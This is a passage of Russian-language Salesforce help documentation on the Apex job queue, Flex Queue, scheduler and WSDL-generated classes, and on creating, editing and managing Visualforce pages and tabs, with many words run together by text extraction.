документом WSDL. Данныеклассыпозволяютвызыватьвнешнюювеб-службупосредствомApex. Второйкласс, создаваемый
длякаждогосозданногокласса, используетодинаковоеимяипрефикс Async. Первыйклассиспользуется синхронными
выносками. Второй класс используется асинхронными выносками. Дополнительную информацию см. в Руководстве
разработчика Force.com Apex Code.

Ниже перечислены рекомендации по использованию созданного Apex.

• Если документ WSDL содержит зарезервированное слово Apex, то слово дополняется суффиксом _x при создании
класса Apex. Например, слово limit в документе WSDL преобразуется в слово limit_x в созданном классе Apex.
Список зарезервированных слов см. в Руководстве разработчика Force.com Apex Code.
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• Если операция в WSDL использует выходное сообщение, содержащее несколько элементов, то созданный Apex
переносит элементы во внутренний класс. Метод Apex, представляющий операцию WSDL, возвращает внутренний
класс взамен отдельных элементов.

СМ. ТАКЖЕ:

Определение классов Apex

Отслеживание очереди заданий Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Очередь заданийApex содержитвсе заданияApex, отправленныенавыполнение. Данный
список содержит выполненные и выполняемые задания, включая:

• НевыполненныеметодыApexспометкой future. Подобнымзаданиямсоответствует
значение «Будущее» в столбце «Тип задания» и пустое значение в столбце «Всего
пакетов» или «Обработанные пакеты».

• Невыполненные классы Apex, реализующие интерфейс Queueable. Подобным
заданиям соответствует значение «Будущее» в столбце «Тип задания» и пустое
значение в столбце «Всего пакетов» или «Обработанные пакеты».

• Выполняемые запланированные задания Apex.

– Подобнымзаданиямсоответствует значение «ЗапланированныйApex» встолбце
«Тип задания», пустое значение в столбце «Всего пакетов» или «Обработанные
пакеты» и неизменяемый статус «В очереди».

– Даннаястраницанепозволяетпрерыватьзапланированныезадания; дляуправленияилиудалениязапланированных
заданий рекомендуем использовать страницу «Запланированные задания».

– Запланированноезаданиеотображаетсянастраницах «ЗаданияApex» и «Запланированныезадания», ноучитывается
только ограничением по асинхронным выполнениям Apex.

• Выполняемые пакетные задания на пересчет общего доступа к Apex. Подобным заданиям соответствует значение
«Пересчет общего доступа» в столбце «Тип задания». Записи в задании на пересчет общего доступа автоматически
делятсянапакеты. Столбец «Всегопакетов» отображаетобщееколичествопакетовдлязадания. Столбец «Обработанные
пакеты» отображает количество обработанных пакетов.

• Выполняемые пакетные задания Apex. Подобным заданиям соответствует значение «Пакет Apex» в столбце «Тип
задания». Записи в пакетном задании Apex автоматически делятся на пакеты. Столбец «Всего пакетов» отображает
общее количество пакетов для задания. Столбец «Обработанные пакеты» отображает количество обработанных
пакетов.

Прим.: Внастоящеевремяпредоставляетсяограниченнаяподдержкапакетныхзаданийнапересчетобщегодоступа.
ДополнительнуюинформациюовключениипакетныхзаданийнапересчетобщегодоступакApexможнополучить
в компании Salesforce.

Данная таблица содержит все возможные значения статуса задания. Столбец «Статус» отображает текущийстатус задания.
Ниже перечислены возможные значения.

ОписаниеСтатус

Задание ожидает выполнения.В очереди

Метод задания start инициирован. Длительность
отображенияданногостатусаопределяетсяразмеромпакета
записей.

Подготовка
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ОписаниеСтатус

Задание обрабатывается.Обрабатывается

Задание прервано пользователем.Прервано

Задание завершено.Завершено

Задание инициировало сбой системы.Сбой

ПакетнымзаданиямApex, добавленнымвочередь Flex заданийApex, можетбытьназначенстатус «Удержание». См. раздел
«Отслеживание очереди Flex заданий Apex».

Есливо времяобработкипакетапроизошлакакминимумоднаошибка, то столбец «Сведенияо статусе» содержиткраткое
описание первой ошибки. Более подробное описание первой ошибки и список последующих ошибок отправляются
создателю текущего класса пакета по эл. почте.

Чтобы просмотреть отфильтрованный список элементов, выберите нужное представление в раскрывающемся списке
«Просмотр» илищелкните ссылку «Создать новое представление» для разработки собственных настраиваемых
представлений.Представления позволяют просмотреть только методы future или пакетные задания Apex.

Одновременно организация может выполнять только один метод start пакетного задания Apex. Невыполненные
пакетныезаданиянаходятся вочередидоначалаихвыполнения. Обратите внимание, чтоданноеограничениеневызывает
ошибкувыполненияпакетногозадания, аметоды execute пакетныхзаданийApexпродолжаютвыполнятьсяпараллельно
при условии выполнения нескольких заданий.

Чтобы отменить задание Apex любого типа, щелкните ссылку «Отменить задание» в столбце «Действие».

Все выполненные пакетные задания удаляются из списка очереди через семь дней.

Дополнительную информацию об Apex см. в Руководстве разработчика Force.com Apex Code.

СМ. ТАКЖЕ:

Расписание Apex

Отслеживание очереди Flex заданий Apex

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Страница «Очередь Flex заданий Apex» позволяет просматривать и изменять порядок
отображения всех пакетных заданий со статусом «Удержание». При необходимости
изменитепорядокотображенияпакетныхзаданийпрограммнымспособомпосредством
кода Apex.

При необходимости добавьте не более 100 пакетных заданий со статусом «Удержание»
в очередь. При освобождении системных ресурсов задания извлекаются из начала
очереди Flex заданий Apex и перемещаются в очередь пакетных заданий. Для каждой
организацииможетодновременнообрабатыватьсянеболеепятидобавленныхвочередь
или активных заданий. При перемещении задания из очереди Flex на обработку статус
«Удержание» заменяется статусом «В очереди». Задания, добавленные в очередь,
выполняются по мере готовности системы к обработке новых заданий.

При необходимости измените порядок отображения заданий в очереди Flex заданий
Apex для их приоритизации. Например, переместите пакетное задание на первое место
очередидля его обработкипервымприосвобожденииресурсов. Впротивномслучае, заданияобрабатываются в порядке
их отправки.
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Отслеживание и изменение порядка отображения очереди Flex заданий Apex

Страница «Очередь Flex заданий Apex» содержит все пакетные задания со статусом «Удержание». При необходимости
просмотритесведенияо задании (например, код задания, датаотправкииклассApex). Поумолчаниюзаданиянумеруются
согласно порядку отправки, начиная с номера «1», который соответствует заданию, отправленному первым. Чтобы
изменить текущую позицию задания, щелкните «Изменить порядок» и введите номер новой позиции. Если номер
позиции не превышает количество заданий в очереди, то задание перемещается на указанную позицию. В противном
случае, задание перемещается в конец очереди. Приперемещении задания все другие задания очереди Flex такжеменяют
свою позицию и номер.

Прим.: В пользовательском интерфейсе Salesforce заданию, находящемуся вверху очереди Flex, соответствует
позиция «1». Тем не менее, при использовании очереди Flex программным способом первому месту очереди Flex
соответствует индекс «0».

Следующее задание, выбранное системойиз очереди Flex заданий Apex для обработки, перемещается из данной очереди
в очередь пакетных заданий. Чтобы отследить перемещенное задание на странице «Задания Apex», щелкните «Задания
Apex».

ПринеобходимостивоспользуйтесьметодамиApexпоимени System.FlexQueue дляизмененияпорядкаотображения
пакетных заданий, находящихся в очереди Flex. Чтобы протестировать очередь Flex, воспользуйтесь методами
getFlexQueueOrder() и enqueueBatchJobs(numberOfJobs) в классе System.Test.

СМ. ТАКЖЕ:

Руководство разработчика Apex: класс FlexQueue

Руководство разработчика Apex: enqueueBatchJobs(numberOfJobs)

Руководство разработчика Apex: getFlexQueueOrder()

Расписание Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Рекомендуем использовать планировщик Apex при наличии классов Apex, которые
должны выполняться на регулярной основе, а также для выполнения пакетных заданий
Apex посредством пользовательского интерфейса Salesforce.

Планировщик работает как система: выполняются все классы, независимо от наличия
полномочия пользователя на выполнение класса.

Важное замечание: Система Salesforce планирует выполнение класса на указанное
время. Фактическоевремявыполненияопределяетсятекущейдоступностьюслужбы.

Чтобы запланировать задания посредством планировщика Apex, выполните указанные
ниже действия.

1. Примените интерфейс Schedulable в классе Apex, реализующем нужный класс.

2. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Классы Apex», затем Расписание Apex.

3. Введите имя нужного класса.

4. Выберите частоту выполнения класса Apex.

• Привыборезначения«Еженедельно»выберитекакминимумодинденьнеделидлявыполнениязадания (например,
понедельник и среда).

• Привыборе значения «Ежемесячно» выберитедатуилиденьдля выполнениязадания (например, вторая суббота
каждого месяца).
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5. Выберите даты начала и окончания для запланированного класса Apex. При выборе конкретного дня задание
выполняется только один раз.

6. Выберите предпочтительное время начала. Точное время выполнения задания определяется текущей доступностью
службы.

7. Нажмите кнопку «Сохранить».

Прим.: Одновременно разрешается использовать не более 100 активных или запланированных заданий.

Чтобы запланировать разовое выполнение пакетного задания, воспользуйтесь методом System.scheduleBatch.
Дополнительнуюинформациюсм. вразделе «Использованиеметода System.scheduleBatch» Руководстваразработчика
Apex.

Страница «Все запланированные задания» позволяет отслеживать ход выполнения запланированного задания Apex.

Страница «ЗаданияApex»позволяетпросматриватьподробныесведенияо выполненномзадании (например, успешность
выполнения, время обработки, количество обработанных записей и т. д.).

Вопросы и ответы

Apex. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

• Чем отличаются классы и триггеры Apex?

• Можно ли использовать Apex для вызова внешней веб-службы?

• Какие типы схем WSDL поддерживают выноски Apex?

Можно ли использовать Apex для вызова внешней веб-службы?

Да. Apex позволяет вызывать операции веб-служб. Прежде чем вызвать методы класса
Apex, рекомендуем сначала открыть страницу «Классы Apex» для создания класса Apex
на основе документа WSDL, используемого во внешней веб-службе.

СМ. ТАКЖЕ:

Apex. Вопросы и ответы

Какие типы схем WSDL поддерживают выноски Apex?

Выноски Apex поддерживают только буквенный стиль документа WSDL, а также простейшие встроенные типы данных.
Рекомендуемпроверитьдокумент WSDL наналичиеподдерживаемыхтипов схем. ВыноскаApexнаоперациювеб-службы,
которая не поддерживает тип схемы, может вызвать ошибку, возвращаемую в ответе выноски (например, «Не удается
проанализировать ответ выноски. Тип Apex не найден для элемента.»).

СМ. ТАКЖЕ:

Apex. Вопросы и ответы

Чем отличаются классы и триггеры Apex?

Класс Apex — это шаблон или образец, используемый для создания объектов Apex. Классы состоят из других классов,
заданных пользователем методов, переменных, типов исключений и статического кода инициализации. Триггер— это
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код Apex, который выполняется перед некоторым событием языка манипулирования данными (DML) или после него
(например, перед вставкой записиобъекта вбазу данныхилипосле удаления записи).Триггер связывается со стандартным
или настраиваемым объектом и может вызывать методы классов Apex.

СМ. ТАКЖЕ:

Apex. Вопросы и ответы

Visualforce

Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Visualforce использует специальный язык разметки на основе тегов, позволяющий
упростить процесс создания приложений и настройки пользовательского интерфейса
Salesforce. Ниже перечислены действия, доступные при использовании Visualforce.

• Созданиенастраиваемыхпользовательскихинтерфейсов, использующихстандартные
стили Salesforce.

• Создание настраиваемых пользовательских интерфейсов, полностью заменяющих
стандартные стили Salesforce.

• Создание мастеров и прочих моделей навигации, использующих специальные
правила для оптимального и эффективного взаимодействия с приложением.

Visualforce поддерживает большую библиотеку компонентов, позволяющую создавать
страницы без создания множества функций. Каждый тег языка разметки Visualforce
соответствуеткрупномуилимелкомукомпоненту (например, разделстраницы, связанный
список или поле). Компоненты могут контролироваться логикой, используемой на
стандартныхстраницахSalesforce, илисобственнойлогикойразработчиков, котораясвязанаснастраиваемымконтроллером
или расширением контроллера, созданным посредством Apex.

Прим.: Данный выпуск поддерживает бета-версию Visualforce для Lightning Experience, являющуюся полноценной,
но имеющую некоторые ограничения.

СМ. ТАКЖЕ:

Определение страниц Visualforce

Что такое настраиваемый компонент?

https://developer.salesforce.com/docs/atlas.en-us.pages.meta/pages/
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Visualforce для Lightning Experience (бета-версия)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныйвыпускподдерживаетбета-версиюVisualforceдляLightning Experience, являющуюся
полноценной, но имеющую некоторые ограничения.

ПОVisualforceдоступнокак самостоятельнаяплатформа. Толькоиспользованиестраниц
Visualforce в приложении Lightning Experience является бета-версией функции.

Определение страниц Visualforce

Определение страниц Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактированияинастройки
параметров версии для
страниц Visualforce:
• «Настройка

приложения»

Чтобысоздать страницыVisualforce, воспользуйтесьрежимомразработкиVisualforceили
меню «Настройка».

Чтобысоздать страницупосредствоминструмента «Быстроеисправление», доступного
в режиме разработки Visualforce, выполните указанные ниже действия.

1. Введите URL-адрес следующего формата:
https://мой_экземпляр_Salesforce/apex/имя_новой_страницы, где значение
мой_экземпляр_Salesforce — это имя экземпляра Salesforce (например,
na3.salesforce.com), а значение имя_новой_страницы соответствует значению
поля «Имя» в определении страницы.

Например, чтобы создать страницу «HelloWorld» при использовании экземпляра
Salesforce na3.salesforce.com, введите URL-адрес
https://na3.salesforce.com/apex/HelloWorld.

Прим.: Имя страницы может содержать не более 40 символов.

2. При этом открывается промежуточная страница, позволяющая добавить новую
страницу. Чтобы создать страницу, щелкните «Создать страницу
имя_новой_страницы». Значение имя_новой_страницы, указанноев URL-адресе, назначается
обоим полям страницы «Имя» и «Метка».

Чтобы создать страницу посредством меню «Настройка», выполните указанные ниже
действия.

1. Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Страницы Visualforce».

2. Нажмите кнопку «Создать».

3. Введите текст, который должен отображаться в URL-адресе в качестве имени страницы, в поле «Имя». Данное имя
должнобытьуникальнымиможетсодержатьтолькобуквы, цифрыисимволыподчеркивания. Имядолжноначинаться
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с буквы; не может содержать пробелов и двух последовательных символов подчеркивания, а также не может
заканчиваться символом подчеркивания.

4. Введите текст, который должен использоваться для определения страницы в меню «Настройка», в поле «Метка»
(например, определение настраиваемых вкладок или переопределение стандартных кнопок).

5. Введите текст, который должен использоваться для определения страницы в API, в поле «Имя». Данное имя должно
быть уникальным и может содержать только буквы, цифры и символы подчеркивания. Имя должно начинаться с
буквы; неможетсодержатьпробеловидвухпоследовательныхсимволовподчеркивания, а такженеможетзаканчиваться
символом подчеркивания.

6. Введите дополнительное описание страницы в текстовое поле «Описание».

7. ЧтобыактивироватьвкладкиVisualforce, связанныесостраницейVisualforce, котораядолжнаотображатьсявприложении
Salesforce1, установитефлажок «Доступно для мобильных приложений Salesforce». Данныйфлажок доступен
для страниц, созданных посредством API 27.0 или более поздней версии.

Прим.: Вкладкистандартныхобъектов, переопределенныепосредствомстраницыVisualforce, неподдерживаются
приложениемSalesforce1, дажеприналичиисоответствующегофлажка «Доступно для мобильных приложений
Salesforce». Взамен страницы Visualforce отображается стандартная страница Salesforce1 для объекта.

Данный параметр не влияет на поддержку Visualforce в мобильном приложении Salesforce Classic Mobile. Взамен
рекомендуем установить флажок «Поддержка Salesforce Classic Mobile» на страницах настройки
вкладок Visualforce.

8. Чтобывключить защиту CSRF для запросов GET страницы, установитефлажок «Требоватьзащиту CSRF длязапросов
GET». Приналичииданногофлажка защитаот атак CSRF выполняетсяпутем требованиямаркераподтверждения CSRF,
являющегося случайнойстрокойсимволов впараметрах URL-адреса. Привыполнениикаждого запроса GET Visualforce
проверяет допустимостьданнойстроки символови загружает страницу толькоприусловиисоответствиянайденного
значения ожидаемому значению.

Установите данныйфлажок, если страница выполняет операцию DML при первоначальной загрузке. При наличии
данногофлажка все ссылки на данную страницу требуют добавления маркера CSRF в параметры строки URL-запроса.
Данныйфлажок доступен для страниц, созданных посредством API 28.0 или более поздней версии.

Прим.: Выпуск Summer'13 позволяет добавлять допустимый маркер CSRF в URL-адрес только путем
переопределения стандартной ссылки объекта «Удалить» посредством страницы Visualforce. Ссылка «Удалить»
автоматически добавляется в требуемый маркер. Не рекомендуем устанавливать данныйфлажок напротив
страниц, которые не переопределяют стандартную ссылку объекта «Удалить».

9. Введите разметку Visualforce для страницы в текстовое поле «Разметка Visualforce». Отдельная страница может
содержать не более 1 Мб текста или примерно 1 000 000 символов.

10. Чтобы указать версии Visualforce и API, использованные для создания данной страницы, щелкните «Параметры
версии». При необходимости укажите версии любых управляемых пакетов, установленных в организации.

11. Чтобысохранить внесенныеизмененияипросмотреть сведенияо страницеVisualforce, нажмите кнопку «Сохранить».
Чтобы сохранить внесенные изменения и продолжить редактирование страницы, нажмите кнопку «Быстрое
сохранение». Прежде чем сохранить страницу, убедитесь в действительности разметки Visualforce.

Прим.: Данная область меню «Настройка» позволяет только редактировать разметку Visualforce. Чтобы
просмотреть внесенные изменения, откройте URL-адрес страницы. Данный недостаток отсутствует в режиме
разработки, который позволяет разработчикам просматривать и редактировать страницы в одном окне.

5624

Apex, Visualforce и компоненты LightningРасширение Salesforce посредством кода



Чтобыоткрытьсозданнуюстраницу, нажмитекнопку«Предварительныйпросмотр». Чтобыоткрытьстраницувручную,
введите URL-адресследующегоформата: http://мой_экземпляр_Salesforce/apex/имя_новой_страницы, где значение
мой_экземпляр_Salesforce — это имя экземпляра Salesforce (например, na3.salesforce.com), а значение
имя_новой_страницы соответствует значению поля «Имя» в определении страницы.

СМ. ТАКЖЕ:

Включение режима разработки

Просмотр и редактирование страниц Visualforce

Создание вкладок Visualforce

Включение страниц Visualforce для мобильного приложения Salesforce1

Включение режима разработки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения режима
разработки:
• «Настройка

приложения»

Определения страниц Visualforce можно просматривать и редактировать посредством
меню «Настройка» на страницах Visualforce, однако новые страницы Visualforce
рекомендуется создавать в режиме разработки Visualforce. Ниже перечислены
преимущества режима разработки.

• Специальный нижний колонтитул на каждой странице Visualforce (состояние
просмотра страницы, любые связанные контроллеры, ссылки на справку по
компоненту) и редактор разметки страницы (функции выделения, поиска-замены и
автоматического подбора имен для тегов и атрибутов компонента).

• Возможность определения новых страниц Visualforce путем ввода уникального
URL-адреса.

• Сообщения об ошибках, содержащиеподробные трассировки стека (по сравнению
со сведениями, которые получают стандартные пользователи).

Чтобы включить режим разработки Visualforce, выполните указанные ниже действия.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Нажмите кнопку «Правка».

3. Установите флажок «Режим разработки».

4. Чтобыактивировать вкладку «Состояниепросмотра» внижнемколонтитулережима
разработки, установитефлажок «Показать состояние просмотра в режиме разработки». Данная вкладка позволяет
отслеживать производительность страниц Visualforce.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce
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Просмотр и редактирование страниц Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для клонирования,
редактирования или
удаления разметки
Visualforce:
• «Настройка

приложения»

Для редактирования
настраиваемых
контроллеров Visualforce:
• «Автор Apex»

Чтобыпросмотреть сведенияо страницеVisualforce, включаядатысозданияипоследнего
изменения, а также связанную разметку, введите строку «Страницы Visualforce» в
поле «Быстрый поиск» в меню «Настройка», выберите пункт «Страницы Visualforce»
ищелкните имя нужной страницы Visualforce.

Ниже перечислены действия, доступные на странице сведений.

• Чтобы изменить текущую разметку страницы, нажмите кнопку «Правка».

• Чтобы удалить страницу, нажмите кнопку «Удалить».

• Чтобы клонировать страницу, нажмите кнопку «Клонировать». Введите имя новой
страницы.

• Чтобы просмотреть все ссылки на данную страницу в организации, щелкните «Где
это используется?».

• Чтобы просмотреть элементы (например, поля, объекты или другие классы),
необходимые для того, чтобы данный класс был действителен, нажмите кнопку
«Показать зависимости».

• Чтобы открыть страницу в новом окне, нажмите кнопку «Предварительный
просмотр».

Прим.: Страница Visualforce, хранящаяся в установленном управляемом пакете,
доступнатолькодляпросмотра. Страницанедоступнадляредактирования, удаления
или клонирования.

ИмястраницыVisualforce, хранящейсявустановленномуправляемомпакете, отображается
в поле «Установленный пакет». Поле «Доступно в версиях пакета» отображает
диапазон версий пакета, содержащих страницу Visualforce. Первый номер диапазона
соответствует первой установленной версии пакета, содержащей страницу Visualforce.

Просмотр и редактирование страниц Visualforce после включения режима
разработки

Режимразработкипозволяетпросматриватьиредактировать содержимоестраницыпутемввода ее URL-адреса. Например,
чтобы открыть страницу HelloWorld при использовании экземпляра Salesforce na3.salesforce.com, введите
URL-адрес https://na3.salesforce.com/apex/HelloWorld в адресную строку обозревателя.

После включения режима разработки все страницы Visualforce отображают специальный нижний колонтитул в нижней
части обозревателя.

• Чтобыоткрыть редактор страниц для просмотра и редактирования связанной разметки Visualforce без использования
меню «Настройка», выберите вкладку с именемнужной страницы. Изменения отображаются сразу после сохранения
страницы.

• Если страница использует настраиваемый контроллер, то имя класса контролера доступно в виде вкладки. Чтобы
изменить связанный класс Apex, откройте соответствующую вкладку.

• Если страница использует расширения контроллера, то имя каждого расширения доступно в виде вкладки. Чтобы
изменить связанный класс Apex, откройте соответствующую вкладку.

• Вкладка «Состояние просмотра», доступная в меню «Настройка», отображает сведения о составляющих элементах
состояния просмотра страницы Visualforce.

• Чтобысохранитьвнесенныеизмененияиобновитьсодержимоестраницы, нажмитекнопку«Сохранить»надпанелью
редактирования.
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• Чтобы просмотреть документацию для всех поддерживаемых компонентов Visualforce, щелкните «Ссылка на
компонент».

• ЧтобыпросмотретьвсеэлементыSalesforce, ссылающиесянастраницу (например, настраиваемыевкладки, контроллеры
или другие страницы), щелкните «Где это используется?».

• Чтобысвернутьпанельнижнегоколонтитуларежимаразработки, нажмите кнопку «Свернуть» ( ). Чтобыразвернуть
панель, нажмите кнопку «Развернуть» ( ).

• Чтобы отключить режим разработки, нажмите кнопку «Отключить режим разработки» ( ). Чтобы повторно
включить режим разработки, откройте страницу личных сведений в меню «Мои параметры».

Управление страницами Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования страниц
Visualforce:
• «Настройка

приложения»

Созданные страницы Visualforce доступны для настройки, редактирования и удаления.
Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Страницы Visualforce», чтобы отобразить список,
содержащийвсестраницыVisualforce, определенныедляорганизации. Нижеперечислены
действия, доступные на данной странице.

• Чтобы создать страницу Visualforce, нажмите кнопку «Создать».

• Чтобы просмотреть подробные сведения о странице, включая метку и разметку
Visualforce, щелкните имя нужной страницы.

• Чтобы изменить имя, метку или разметку Visualforce страницы, щелкните ссылку
«Правка» напротив имени нужной страницы.

Прим.: Значок указывает на использование страницы Visualforce в
установленном управляемом пакете. Управляемый пакет не поддерживает
редактирование или удаление страницы Visualforce.

• Чтобы удалить страницу, щелкните ссылку «Удал.».

• Чтобы настроить параметры безопасности страницы, щелкните ссылку
«Безопасность».

• Чтобыоткрытьстраницувновомокне, нажмитекнопку «Предварительныйпросмотр»
( ).

Прим.: Префикс пространства имен добавляется в классы и триггеры Apex,
страницыикомпонентыVisualforce, фирменныешаблоны, папки, элементы S-Control,
статические ресурсы, веб-ссылки и типы настраиваемых отчетов при их наличии
в управляемом пакете. Поле префикса пространства имен отображается для
фирменныхшаблонов, папокитиповнастраиваемыхотчетов толькоприналичии
полномочия «Настройка приложения».
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Поля слияния для страниц Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Поле слияния — это поле, которое может быть добавлено вшаблон эл. почты, шаблон
стандартного письма, настраиваемую ссылку или формулу для внедрения значений из
записи.

Страницы Visualforce используют тот же язык выражений, что и формулы, то есть,
содержимое поля слияния {! } оценивается как выражение, позволяющее извлекать
значения из текущих контекстных записей.Например, поле слияния
{!$User.FirstName}, добавленное на страницу, позволяет отображать личное имя
текущего пользователя.

<apex:page>
Hello {!$User.FirstName}!

s</apex:page>

Так, пользователю по имени Иван отображается следующая строка: «Здравствуйте, Иван!».

Кроме того, поля слияния или другие функции могут использоваться для индивидуализации содержимого справки
объекта.

СМ. ТАКЖЕ:

Определение страниц Visualforce

5628

Apex, Visualforce и компоненты LightningРасширение Salesforce посредством кода



Создание вкладок Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания вкладок
Visualforce:
• «Настройка

приложения»

ВкладкиVisualforceпозволяютпользователямпросматривать страницыVisualforceпрямо
в системе Salesforce.

Чтобы создать вкладку Visualforce, выполните указанные ниже действия.

1. Введите строку «Вкладки» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Вкладки».

2. Нажмите кнопку «Создать» в связанном списке «Вкладки Visualforce».

3. Выберите страницу Visualforce для отображения на настраиваемой вкладке. Если
нужнаястраницаVisualforceотсутствует, щелкнитессылку«Создатьновуюстраницу».

4. Введите метку для отображения на вкладке.

5. Чтобыоткрытьокно «Выборстиля вкладки», щелкните значокпоисканапротивполя
«Стиль вкладки».

Еслистиль вкладкиужеиспользуется, тонапротивименистиля вкладкив квадратных
скобках [] отображается число. Чтобыпросмотреть вкладки, использующиеданный
стиль, наведитеуказательмышинаимянужногостиля. Чтобыотфильтроватьданный
список, щелкните «Скрыть стили, используемые на других вкладках».

6. Чтобы выбрать цветовуюсхему и значок настраиваемой вкладки, щелкните нужный
стиль вкладки.

Чтобысоздатьнастраиваемыйстильвкладки, нажмитекнопку«Создатьсобственный
стиль» вокне «Выборстиля вкладки» (приналичиидоступа ко вкладке «Документы»).
Чтобы создать собственный стиль вкладки, выполните указанные ниже действия.

a. Чтобы открыть диалоговое окно выбора цвета, щелкните значок поиска напротив поля «Цвет».

b. Нажмите кнопку «Вставить изображение», выберите папку документов и нужное изображение.

Чтобы найти документ, имя которого содержит поисковый запрос, щелкните «Поиск в документах», введите
поисковый запрос и нажмите кнопку «Начать».

Прим.: Данное диалоговое окно содержит файлы размером не более 20 Кб, которые доступны в папках
документов и в свойствах которых установлен флажок «Внешний доступ». При удалении документа,

используемого для значка, система Salesforce заменяет его стандартным разноцветным значком блока ( ).

c. Выберите нужныйфайл и нажмите кнопку «OK».При этом откроется мастер создания настраиваемой вкладки.

7. Чтобы гарантировать надлежащее отображение и функционирование страницы Visualforce в приложении Salesforce
Classic Mobile, установите флажок «Поддержка Salesforce Classic».

Установкаданногофлажкаинициируетдобавлениевкладкив списокдоступныхвкладокдляконфигурацийSalesforce
Classic Mobile. Чтобы гарантировать совместимость страниц вкладок Visualforce с мобильными обозревателями,
просмотрите рекомендации по использованию вкладок Salesforce Classic Mobile.

Прим.: Флажок «Поддержка Salesforce Classic Mobile» отображается только при использовании
приложения Salesforce Classic Mobile.

Данный параметр не влияет на отображение вкладок Visualforce в приложении Salesforce1. Дополнительную
информациюоб активацииновойвкладкиVisualforce дляиспользования вприложении Salesforce1 см. в разделах
«ВключениестраницVisualforceдлямобильногоприложенияSalesforce1»настранице1141и «Определениестраниц
Visualforce» на странице 5623.
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8. Принеобходимостивыберитенастраиваемуюссылкузаставки, отображаемойпривыборевкладки. Обратитевнимание,
чтоприложение Salesforce Classic Mobileнеподдерживаетотображение заставок. Рекомендуемизбегатьиспользования
заставки при планировании мобильности данной вкладки.

9. При необходимости введите описание вкладки и нажмите кнопку «Далее».

10. Выберите нужные профили пользователей.

• Установитефлажок «Применить доступность вкладки ко всем профилям» и выберите значение «Включены
стандартныепараметры», «Отключеныстандартныепараметры» или «Вкладкаскрыта» израскрывающегосясписка.

• При необходимости установите флажок «Применить различную доступность вкладки в каждом профиле»
и выберите значение «Включены стандартные параметры», «Отключены стандартные параметры» или «Вкладка
скрыта» из раскрывающегося списка для каждого профиля.

11. Выберите настраиваемые приложения для добавления новой вкладки.

12. Чтобыдобавитьновуювкладку внастроенныепараметрыотображенияпользователей, установитефлажок «Добавить
вкладку в текущие персональные настройки пользователя».

13. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Определение страниц Visualforce

Необрабатываемые исключения в Visualforce

Если страница Visualforce, разработанная другим пользователем, содержит ошибку или необрабатываемое исключение,
то:

• Пользователь может просмотреть пояснение ошибки в системе Salesforce.

• Разработчик страницы получает электронное уведомление об ошибке, содержащее только код пользователя и код
организации.

Если пользователь находится в режиме разработки, но использует пространство имен, отличающееся от страницы, то
системаотображает сообщениеобисключении, типисключенияиуведомлениеоботправкеразработчику электронного
предупреждения.

Если разработчик не находится в режиме разработки, но использует пространство имен, аналогичное странице, то
система отображает сообщение об исключении. Кроме того, система может отображать сообщение об отправке
разработчику электронного уведомления. Если разработчик находится в режиме разработки, то система отображает
сообщение об исключении, тип исключения и трассировку стека Apex.

СМ. ТАКЖЕ:

Отладка кода

5630

Apex, Visualforce и компоненты LightningРасширение Salesforce посредством кода



